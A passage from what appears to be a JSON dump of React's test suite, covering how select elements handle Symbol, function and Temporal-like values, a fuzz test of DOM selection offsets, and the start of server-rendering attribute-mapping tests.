ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select defaultValue={Symbol('foobar')}>\n            <option value={Symbol('foobar')}>A Symbol!</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n\n      node = container.firstChild;\n      expect(node.value).toBe('A Symbol!');\n    });\n  });\n\n  describe('When given a function value', () => {\n    it('treats initial function value as missing', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select onChange={noop} value={() => {}}>\n            <option value={() => {}}>A function!</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <option> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in option (at **)',\n      ]);\n\n      const node = container.firstChild;\n      expect(node.value).toBe('A function!');\n    });\n\n    it('treats initial function defaultValue as an empty string', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select defaultValue={() => {}}>\n            <option value={() => {}}>A function!</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <option> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in option (at **)',\n      ]);\n\n      const node = container.firstChild;\n      expect(node.value).toBe('A function!');\n    });\n\n    it('treats updated function value as an empty string', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select onChange={noop} value=\"monkey\">\n            <option value={() => {}}>A function!</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <option> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in option (at **)',\n      ]);\n\n      let node = container.firstChild;\n      expect(node.value).toBe('monkey');\n\n      await act(() => {\n        root.render(\n          <select onChange={noop} value={() => {}}>\n            <option value={() => {}}>A function!</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n\n      node = container.firstChild;\n      expect(node.value).toBe('A function!');\n    });\n\n    it('treats updated function defaultValue as an empty string', async () => {\n      let container = document.createElement('div');\n      let root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select defaultValue=\"monkey\">\n            <option value={() => {}}>A function!</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <option> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in option (at **)',\n      ]);\n\n      let node = container.firstChild;\n      expect(node.value).toBe('monkey');\n\n      container = document.createElement('div');\n      root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select defaultValue={() => {}}>\n            <option value={() => {}}>A function!</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n\n      node = container.firstChild;\n\n      expect(node.value).toBe('A function!');\n    });\n  });\n\n  describe('When given a Temporal.PlainDate-like value', () => {\n    class TemporalLike {\n      valueOf() {\n        // Throwing here is the behavior of ECMAScript \"Temporal\" date/time API.\n        // See https://tc39.es/proposal-temporal/docs/plaindate.html#valueOf\n        throw new TypeError('prod message');\n      }\n      toString() {\n        return '2020-01-01';\n      }\n    }\n\n    it('throws when given a Temporal.PlainDate-like value (select)', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(\n        act(() => {\n          root.render(\n            <select onChange={noop} value={new TemporalLike()}>\n              <option value=\"2020-01-01\">like a Temporal.PlainDate</option>\n              <option value=\"monkey\">A monkey!</option>\n              <option value=\"giraffe\">A giraffe!</option>\n            </select>,\n          );\n        }),\n      ).rejects.toThrowError(new TypeError('prod message'));\n      assertConsoleErrorDev([\n        'Form field values (value, checked, defaultValue, or defaultChecked props)' +\n          ' must be strings, not TemporalLike. ' +\n          'This value must be coerced to a string before using it here.\\n' +\n          '    in select (at **)',\n        'Form field values (value, checked, defaultValue, or defaultChecked props)' +\n          ' must be strings, not TemporalLike. ' +\n          'This value must be coerced to a string before using it here.\\n' +\n          '    in select (at **)',\n      ]);\n    });\n\n    it('throws when given a Temporal.PlainDate-like value (option)', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(\n        act(() => {\n          root.render(\n            <select onChange={noop} value=\"2020-01-01\">\n              <option value={new TemporalLike()}>\n                like a Temporal.PlainDate\n              </option>\n              <option value=\"monkey\">A monkey!</option>\n              <option value=\"giraffe\">A giraffe!</option>\n            </select>,\n          );\n        }),\n      ).rejects.toThrowError(new TypeError('prod message'));\n      assertConsoleErrorDev([\n        'The provided `value` attribute is an unsupported type TemporalLike.' +\n          ' This value must be coerced to a string before using it here.\\n' +\n          '    in option (at **)',\n        'The provided `value` attribute is an unsupported type TemporalLike.' +\n          ' This value must be coerced to a string before using it here.\\n' +\n          '    in option (at **)',\n      ]);\n    });\n\n    it('throws when given a Temporal.PlainDate-like value (both)', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await expect(\n        act(() => {\n          root.render(\n            <select onChange={noop} value={new TemporalLike()}>\n              <option value={new TemporalLike()}>\n                like a Temporal.PlainDate\n              </option>\n              <option value=\"monkey\">A monkey!</option>\n              <option value=\"giraffe\">A giraffe!</option>\n            </select>,\n          );\n        }),\n      ).rejects.toThrowError(new TypeError('prod message'));\n      assertConsoleErrorDev([\n        'The provided `value` attribute is an unsupported type TemporalLike.' +\n          ' This value must be coerced to a string before using it here.\\n' +\n          '    in option (at **)',\n        'The provided `value` attribute is an unsupported type TemporalLike.' +\n          ' This value must be coerced to a string before using it here.\\n' +\n          '    in option (at **)',\n      ]);\n    });\n\n    it('throws with updated Temporal.PlainDate-like value (select)', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <select onChange={noop} value=\"monkey\">\n            <option value=\"2020-01-01\">like a Temporal.PlainDate</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n\n      await expect(\n        act(() => {\n          root.render(\n            <select onChange={noop} value={new TemporalLike()}>\n              <option value=\"2020-01-01\">like a Temporal.PlainDate</option>\n              <option value=\"monkey\">A monkey!</option>\n              <option value=\"giraffe\">A giraffe!</option>\n            </select>,\n          );\n        }),\n      ).rejects.toThrowError(new TypeError('prod message'));\n      assertConsoleErrorDev([\n        'Form field values (value, checked, defaultValue, or defaultChecked props)' +\n          ' must be strings, not TemporalLike. ' +\n          'This value must be coerced to a string before using it here.\\n' +\n          '    in select (at **)',\n      ]);\n    });\n\n    it('throws with updated Temporal.PlainDate-like value (option)', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <select onChange={noop} value=\"2020-01-01\">\n            <option value=\"donkey\">like a Temporal.PlainDate</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n\n      await expect(\n        act(() => {\n          root.render(\n            <select onChange={noop} value=\"2020-01-01\">\n              <option value={new TemporalLike()}>\n                like a Temporal.PlainDate\n              </option>\n              <option value=\"monkey\">A monkey!</option>\n              <option value=\"giraffe\">A giraffe!</option>\n            </select>,\n          );\n        }),\n      ).rejects.toThrowError(new TypeError('prod message'));\n      assertConsoleErrorDev([\n        'The provided `value` attribute is an unsupported type TemporalLike.' +\n          ' This value must be coerced to a string before using it here.\\n' +\n          '    in option (at **)',\n      ]);\n    });\n\n    it('throws with updated Temporal.PlainDate-like value (both)', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <select onChange={noop} value=\"donkey\">\n            <option value=\"donkey\">like a Temporal.PlainDate</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n\n      await expect(\n        act(() => {\n          root.render(\n            <select onChange={noop} value={new TemporalLike()}>\n              <option value={new TemporalLike()}>\n                like a Temporal.PlainDate\n              </option>\n              <option value=\"monkey\">A monkey!</option>\n              <option value=\"giraffe\">A giraffe!</option>\n            </select>,\n          );\n        }),\n      ).rejects.toThrowError(\n        new AggregateError([\n          new TypeError('prod message'),\n          new TypeError('prod message'),\n        ]),\n      );\n      assertConsoleErrorDev([\n        'The provided `value` attribute is an unsupported type TemporalLike.' +\n          ' This value must be coerced to a string before using it here.\\n' +\n          '    in option (at **)',\n        'Form field values (value, checked, defaultValue, or defaultChecked props)' +\n          ' must be strings, not TemporalLike. ' +\n          'This value must be coerced to a string before using it here.\\n' +\n          '    in select (at **)',\n      ]);\n    });\n\n    it('throws when given a Temporal.PlainDate-like defaultValue (select)', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(\n        act(() => {\n          root.render(\n            <select onChange={noop} defaultValue={new TemporalLike()}>\n              <option value=\"2020-01-01\">like a Temporal.PlainDate</option>\n              <option value=\"monkey\">A monkey!</option>\n              <option value=\"giraffe\">A giraffe!</option>\n            </select>,\n          );\n        }),\n      ).rejects.toThrowError(new TypeError('prod message'));\n      assertConsoleErrorDev([\n        'Form field values (value, checked, defaultValue, or defaultChecked props)' +\n          ' must be strings, not TemporalLike. ' +\n          'This value must be coerced to a string before using it here.\\n' +\n          '    in select (at **)',\n        'Form field values (value, checked, defaultValue, or defaultChecked props)' +\n          ' must be strings, not TemporalLike. ' +\n          'This value must be coerced to a string before using it here.\\n' +\n          '    in select (at **)',\n      ]);\n    });\n\n    it('throws when given a Temporal.PlainDate-like defaultValue (option)', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await expect(\n        act(() => {\n          root.render(\n            <select onChange={noop} defaultValue=\"2020-01-01\">\n              <option value={new TemporalLike()}>\n                like a Temporal.PlainDate\n              </option>\n              <option value=\"monkey\">A monkey!</option>\n              <option value=\"giraffe\">A giraffe!</option>\n            </select>,\n          );\n        }),\n      ).rejects.toThrowError(new TypeError('prod message'));\n      assertConsoleErrorDev([\n        'The provided `value` attribute is an unsupported type TemporalLike.' +\n          ' This value must be coerced to a string before using it here.\\n' +\n          '    in option (at **)',\n        'The provided `value` attribute is an unsupported type TemporalLike.' +\n          ' This value must be coerced to a string before using it here.\\n' +\n          '    in option (at **)',\n      ]);\n    });\n\n    it('throws when given a Temporal.PlainDate-like defaultValue (both)', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(\n        act(() => {\n          root.render(\n            <select onChange={noop} defaultValue={new TemporalLike()}>\n              <option value={new TemporalLike()}>\n                like a Temporal.PlainDate\n              </option>\n              <option value=\"monkey\">A monkey!</option>\n              <option value=\"giraffe\">A giraffe!</option>\n            </select>,\n          );\n        }),\n      ).rejects.toThrowError(new TypeError('prod message'));\n      assertConsoleErrorDev([\n        'The provided `value` attribute is an unsupported type TemporalLike.' +\n          ' This value must be coerced to a string before using it here.\\n' +\n          '    in option (at **)',\n        'The provided `value` attribute is an unsupported type TemporalLike.' +\n          ' This value must be coerced to a string before using it here.\\n' +\n          '    in option (at **)',\n      ]);\n    });\n\n    it('throws with updated Temporal.PlainDate-like defaultValue (select)', async () => {\n      let container = document.createElement('div');\n      let root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select onChange={noop} defaultValue=\"monkey\">\n            <option value=\"2020-01-01\">like a Temporal.PlainDate</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n\n      container = document.createElement('div');\n      root = ReactDOMClient.createRoot(container);\n      await expect(\n        act(() => {\n          root.render(\n            <select onChange={noop} defaultValue={new TemporalLike()}>\n              <option value=\"2020-01-01\">like a Temporal.PlainDate</option>\n              <option value=\"monkey\">A monkey!</option>\n              <option value=\"giraffe\">A giraffe!</option>\n            </select>,\n          );\n        }),\n      ).rejects.toThrowError(new TypeError('prod message'));\n      assertConsoleErrorDev([\n        'Form field values (value, checked, defaultValue, or defaultChecked props)' +\n          ' must be strings, not TemporalLike. ' +\n          'This value must be coerced to a string before using it here.\\n' +\n          '    in select (at **)',\n        'Form field values (value, checked, defaultValue, or defaultChecked props)' +\n          ' must be strings, not TemporalLike. ' +\n          'This value must be coerced to a string before using it here.\\n' +\n          '    in select (at **)',\n      ]);\n    });\n\n    it('throws with updated Temporal.PlainDate-like defaultValue (both)', async () => {\n      let container = document.createElement('div');\n      let root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <select onChange={noop} defaultValue=\"monkey\">\n            <option value=\"donkey\">like a Temporal.PlainDate</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n\n      container = document.createElement('div');\n      root = ReactDOMClient.createRoot(container);\n      await expect(\n        act(() => {\n          root.render(\n            <select onChange={noop} value={new TemporalLike()}>\n              <option value={new TemporalLike()}>\n                like a Temporal.PlainDate\n              </option>\n              <option value=\"monkey\">A monkey!</option>\n              <option value=\"giraffe\">A giraffe!</option>\n            </select>,\n          );\n        }),\n      ).rejects.toThrowError(new TypeError('prod message'));\n      assertConsoleErrorDev([\n        'The provided `value` attribute is an unsupported type TemporalLike.' +\n          ' This value must be coerced to a string before using it here.\\n' +\n          '    in option (at **)',\n        'The provided `value` attribute is an unsupported type TemporalLike.' +\n          ' This value must be coerced to a string before using it here.\\n' +\n          '    in option (at **)',\n      ]);\n    });\n\n    it('should not warn about missing onChange if value is not set', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(\n        act(() => {\n          root.render(\n            <select>\n              <option value=\"monkey\">A monkey!</option>\n              <option value=\"giraffe\">A giraffe!</option>\n              <option value=\"gorilla\">A gorilla!</option>\n            </select>,\n          );\n        }),\n      ).resolves.not.toThrow();\n    });\n\n    it('should not throw an error about missing onChange if value is undefined', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(\n        act(() => {\n          root.render(\n            <select value={undefined}>\n              <option value=\"monkey\">A monkey!</option>\n              <option value=\"giraffe\">A giraffe!</option>\n              <option value=\"gorilla\">A gorilla!</option>\n            </select>,\n          );\n        }),\n      ).resolves.not.toThrow();\n    });\n\n    it('should not warn about missing onChange if onChange is set', async () => {\n      const change = jest.fn();\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(\n        act(() => {\n          root.render(\n            <select value=\"monkey\" onChange={change}>\n              <option value=\"monkey\">A monkey!</option>\n              <option value=\"giraffe\">A giraffe!</option>\n              <option value=\"gorilla\">A gorilla!</option>\n            </select>,\n          );\n        }),\n      ).resolves.not.toThrow();\n    });\n\n    it('should not warn about missing onChange if disabled is true', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(\n        act(() => {\n          root.render(\n            <select value=\"monkey\" disabled={true}>\n              <option value=\"monkey\">A monkey!</option>\n              <option value=\"giraffe\">A giraffe!</option>\n              <option value=\"gorilla\">A gorilla!</option>\n            </select>,\n          );\n        }),\n      ).resolves.not.toThrow();\n    });\n\n    it('should warn about missing onChange if value is false', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select value={false}>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n            <option value=\"gorilla\">A gorilla!</option>\n          </select>,\n        );\n      });\n      assertConsoleErrorDev([\n        'You provided a `value` prop to a form ' +\n          'field without an `onChange` handler. This will render a read-only ' +\n          'field. If the field should be mutable use `defaultValue`. ' +\n          'Otherwise, set `onChange`.\\n    in select (at **)',\n      ]);\n    });\n\n    it('should warn about missing onChange if value is 0', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select value={0}>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n            <option value=\"gorilla\">A gorilla!</option>\n          </select>,\n        );\n      });\n      assertConsoleErrorDev([\n        'You provided a `value` prop to a form ' +\n          'field without an `onChange` handler. This will render a read-only ' +\n          'field. If the field should be mutable use `defaultValue`. ' +\n          'Otherwise, set `onChange`.\\n' +\n          '    in select (at **)',\n      ]);\n    });\n\n    it('should warn about missing onChange if value is \"0\"', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select value=\"0\">\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n            <option value=\"gorilla\">A gorilla!</option>\n          </select>,\n        );\n      });\n      assertConsoleErrorDev([\n        'You provided a `value` prop to a form ' +\n          'field without an `onChange` handler. This will render a read-only ' +\n          'field. If the field should be mutable use `defaultValue`. ' +\n          'Otherwise, set `onChange`.\\n' +\n          '    in select (at **)',\n      ]);\n    });\n\n    it('should warn about missing onChange if value is \"\"', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select value=\"\">\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n            <option value=\"gorilla\">A gorilla!</option>\n          </select>,\n        );\n      });\n      assertConsoleErrorDev([\n        'You provided a `value` prop to a form ' +\n          'field without an `onChange` handler. This will render a read-only ' +\n          'field. If the field should be mutable use `defaultValue`. ' +\n          'Otherwise, set `onChange`.\\n' +\n          '    in select (at **)',\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMSelection-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMSelection;\nlet act;\n\nlet getModernOffsetsFromPoints;\n\ndescribe('ReactDOMSelection', () => {\n  beforeEach(() => {\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMSelection = require('react-dom-bindings/src/client/ReactDOMSelection');\n    act = require('internal-test-utils').act;\n\n    ({getModernOffsetsFromPoints} = ReactDOMSelection);\n  });\n\n  // Simple implementation to compare correctness. React's old implementation of\n  // this logic used DOM Range objects and is available for manual testing at\n  // https://gist.github.com/sophiebits/2e6d571f4f10f33b62ea138a6e9c265c.\n  function simpleModernOffsetsFromPoints(\n    outerNode,\n    anchorNode,\n    anchorOffset,\n    focusNode,\n    focusOffset,\n  ) {\n    let start;\n    let end;\n    let length = 0;\n\n    function traverse(node) {\n      if (node.nodeType === Node.TEXT_NODE) {\n        if (node === anchorNode) {\n          start = length + anchorOffset;\n        }\n        if (node === focusNode) {\n          end = length + focusOffset;\n        }\n        length += node.nodeValue.length;\n        return;\n      }\n\n      for (let i = 0; true; i++) {\n        if (node === anchorNode && i === anchorOffset) {\n          start = length;\n        }\n        if (node === focusNode && i === focusOffset) {\n          end = length;\n        }\n        if (i === node.childNodes.length) {\n          break;\n        }\n        const n = node.childNodes[i];\n        traverse(n);\n      }\n    }\n    traverse(outerNode);\n\n    if (start === null || end === null) {\n      throw new Error('Provided anchor/focus nodes were outside of root.');\n    }\n    return {start, end};\n  }\n\n  // Complicated example derived from a real-world DOM tree. Has a bit of\n  // everything.\n  async function getFixture() {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          <div>\n            <div>\n              <div>xxxxxxxxxxxxxxxxxxxx</div>\n            </div>\n            x\n            <div>\n              <div>\n                x\n                <div>\n                  <div>\n                    <div>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</div>\n                    <div />\n                    <div />\n                    <div>xxxxxxxxxxxxxxxxxx</div>\n                  </div>\n                </div>\n              </div>\n            </div>\n            <div />\n          </div>\n          <div>\n            <div>\n              <div>\n                <div>xxxx</div>\n                <div>xxxxxxxxxxxxxxxxxxx</div>\n              </div>\n            </div>\n            <div>xxx</div>\n            <div>xxxxx</div>\n            <div>xxx</div>\n            <div>\n              <div>\n                <div>\n                  <div>{['x', 'x', 'xxx']}</div>\n                </div>\n              </div>\n            </div>\n          </div>\n          <div>\n            <div>xxxxxx</div>\n          </div>\n        </div>,\n      );\n    });\n    return container.firstChild;\n  }\n\n  it('returns correctly for base case', () => {\n    const node = document.createElement('div');\n    expect(getModernOffsetsFromPoints(node, node, 0, node, 0)).toEqual({\n      start: 0,\n      end: 0,\n    });\n    expect(simpleModernOffsetsFromPoints(node, node, 0, node, 0)).toEqual({\n      start: 0,\n      end: 0,\n    });\n  });\n\n  it('returns correctly for fuzz test', async () => {\n    const fixtureRoot = await getFixture();\n    const allNodes = [fixtureRoot].concat(\n      Array.from(fixtureRoot.querySelectorAll('*')),\n    );\n    expect(allNodes.length).toBe(27);\n    allNodes.slice().forEach(element => {\n      // Add text nodes.\n      allNodes.push(\n        ...Array.from(element.childNodes).filter(n => n.nodeType === 3),\n      );\n    });\n    expect(allNodes.length).toBe(41);\n\n    function randomNode() {\n      return allNodes[(Math.random() * allNodes.length) | 0];\n    }\n    function randomOffset(node) {\n      return (\n        (Math.random() *\n          (1 +\n            (node.nodeType === 3 ? node.nodeValue : node.childNodes).length)) |\n        0\n      );\n    }\n\n    for (let i = 0; i < 2000; i++) {\n      const anchorNode = randomNode();\n      const anchorOffset = randomOffset(anchorNode);\n      const focusNode = randomNode();\n      const focusOffset = randomOffset(focusNode);\n\n      const offsets1 = getModernOffsetsFromPoints(\n        fixtureRoot,\n        anchorNode,\n        anchorOffset,\n        focusNode,\n        focusOffset,\n      );\n      const offsets2 = simpleModernOffsetsFromPoints(\n        fixtureRoot,\n        anchorNode,\n        anchorOffset,\n        focusNode,\n        focusOffset,\n      );\n      if (JSON.stringify(offsets1) !== JSON.stringify(offsets2)) {\n        throw new Error(\n          JSON.stringify(offsets1) +\n            ' does not match ' +\n            JSON.stringify(offsets2) +\n            ' for anchorNode=allNodes[' +\n            allNodes.indexOf(anchorNode) +\n            '], anchorOffset=' +\n            anchorOffset +\n            ', focusNode=allNodes[' +\n            allNodes.indexOf(focusNode) +\n            '], focusOffset=' +\n            focusOffset,\n        );\n      }\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationAttributes-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet assertConsoleErrorDev;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOM = require('react-dom');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n  assertConsoleErrorDev = require('internal-test-utils').assertConsoleErrorDev;\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, itRenders, clientCleanRender} =\n  ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerIntegration', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n  afterEach(() => {\n    // TODO: This is a hack because expectErrors does not restore mock,\n    // however fixing it requires a major refactor to all these tests.\n    if (console.error.mockClear) {\n      console.error.mockRestore();\n    }\n  });\n\n  describe('property to attribute mapping', function () {\n    describe('string properties', function () {\n      itRenders('simple numbers', async render => {\n        const e = await render(<div width={30} />);\n        expect(e.getAttribute('width')).toBe('30');\n      });\n\n      itRenders('simple strings', async render => {\n        const e = await render(<div width={'30'} />);\n        expect(e.getAttribute('width')).toBe('30');\n      });\n\n      itRenders('empty src on img', async render => {\n        const e = await render(<img src=\"\" />, 1);\n        expect(e.getAttribute('src')).toBe(null);\n      });\n\n      itRenders('empty href on anchor', async render => {\n        const e = await render(<a href=\"\" />);\n        expect(e.getAttribute('href')).toBe('');\n      });\n\n      itRenders('empty href on base tags as null', async render => {\n        const e = await render(<base href=\"\" />, 1);\n        expect(e.getAttribute('href')).toBe(null);\n      });\n\n      itRenders('empty href on area tags as null', async render => {\n        const e = await render(\n          <map>\n            <area alt=\"\" href=\"\" />\n          </map>,\n          1,\n        );\n        expect(e.firstChild.getAttribute('href')).toBe(null);\n      });\n\n      itRenders('empty href on link tags as null', async render => {\n        const e = await render(<link rel=\"stylesheet\" href=\"\" />, 1);\n        expect(e.getAttribute('href')).toBe(null);\n      });\n\n      itRenders('no string prop with true value', async render => {\n        const e = await render(<a href={true} />, 1);\n        expect(e.hasAttribute('href')).toBe(false);\n      });\n\n      itRenders('no string prop with false value', async render => {\n        const e = await render(<a href={false} />, 1);\n        expect(e.hasAttribute('href')).toBe(false);\n      });\n\n      itRenders('no string prop with null value', async render => {\n        const e = await render(<div width={null} />);\n        expect(e.hasAttribute('width')).toBe(false);\n      });\n\n      itRenders('no string prop with function value', async render => {\n        const e = await render(<div width={function () {}} />, 1);\n        expect(e.hasAttribute('width')).toBe(false);\n      });\n\n      itRenders('no string prop with symbol value', async render => {\n        const e = await render(<div width={Symbol('foo')} />, 1);\n        expect(e.hasAttribute('width')).toBe(false);\n      });\n    });\n\n    describe('boolean properties', function () {\n      itRenders('boolean prop with true value', async render => {\n        const e = await render(<div hidden={true} />);\n        expect(e.getAttribute('hidden')).toBe('');\n      });\n\n      itRenders('boolean prop with false value', async render => {\n        const e = await render(<div hidden={false} />);\n        expect(e.getAttribute('hidden')).toBe(null);\n      });\n\n      itRenders('boolean prop with self value', async render => {\n        const e = await render(<div hidden=\"hidden\" />);\n        expect(e.getAttribute('hidden')).toBe('');\n      });\n\n      // this does not seem like correct behavior, since hidden=\"\" in HTML indicates\n      // that the boolean property is present. however, it is how the current code\n      // behaves, so the test is included here.\n      itRenders('boolean prop with \"\" value', async render => {\n        const e = await render(<div hidden=\"\" />);\n        expect(e.getAttribute('hidden')).toBe(null);\n      });\n\n      // this seems like it might mask programmer error, but it's existing behavior.\n      itRenders('boolean prop with string value', async render => {\n        const e = await render(<div hidden=\"foo\" />);\n        expect(e.getAttribute('hidden')).toBe('');\n      });\n\n      // this seems like it might mask programmer error, but it's existing behavior.\n      itRenders('boolean prop with array value', async render => {\n        const e = await render(<div hidden={['foo', 'bar']} />);\n        expect(e.getAttribute('hidden')).toBe('');\n      });\n\n      // this seems like it might mask programmer error, but it's existing behavior.\n      itRenders('boolean prop with object value', async render => {\n        const e = await render(<div hidden={{foo: 'bar'}} />);\n        expect(e.getAttribute('hidden')).toBe('');\n      });\n\n      // this seems like it might mask programmer error, but it's existing behavior.\n      itRenders('boolean prop with non-zero number value', async render => {\n        const e = await render(<div hidden={10} />);\n        expect(e.getAttribute('hidden')).toBe('');\n      });\n\n      // this seems like it might mask programmer error, but it's existing behavior.\n      itRenders('boolean prop with zero value', async render => {\n        const e = await render(<div hidden={0} />);\n        expect(e.getAttribute('hidden')).toBe(null);\n      });\n\n      itRenders('no boolean prop with null value', async render => {\n        const e = await render(<div hidden={null} />);\n        expect(e.hasAttribute('hidden')).toBe(false);\n      });\n\n      itRenders('no boolean prop with function value', async render => {\n        const e = await render(<div hidden={function () {}} />, 1);\n        expect(e.hasAttribute('hidden')).toBe(false);\n      });\n\n      itRenders('no boolean prop with symbol value', async render => {\n        const e = await render(<div hidden={Symbol('foo')} />, 1);\n        expect(e.hasAttribute('hidden')).toBe(false);\n      });\n    });\n\n    describe('download property (combined boolean/string attribute)', function () {\n      itRenders('download prop with true value', async render => {\n        const e = await render(<a download={true} />);\n        expect(e.getAttribute('download')).toBe('');\n      });\n\n      itRenders('download prop with false value', async render => {\n        const e = await render(<a download={false} />);\n        expect(e.getAttribute('download')).toBe(null);\n      });\n\n      itRenders('download prop with string value', async render => {\n        const e = await render(<a download=\"myfile\" />);\n        expect(e.getAttribute('download')).toBe('myfile');\n      });\n\n      itRenders('download prop with string \"false\" value', async render => {\n        const e = await render(<a download=\"false\" />);\n        expect(e.getAttribute('download')).toBe('false');\n      });\n\n      itRenders('download prop with string \"true\" value', async render => {\n        const e = await render(<a download={'true'} />);\n        expect(e.getAttribute('download')).toBe('true');\n      });\n\n      itRenders('download prop with number 0 value', async render => {\n        const e = await render(<a download={0} />);\n        expect(e.getAttribute('download')).toBe('0');\n      });\n\n      itRenders('no download prop with null value', async render => {\n        const e = await render(<div download={null} />);\n        expect(e.hasAttribute('download')).toBe(false);\n      });\n\n      itRenders('no download prop with undefined value', async render => {\n        const e = await render(<div download={undefined} />);\n        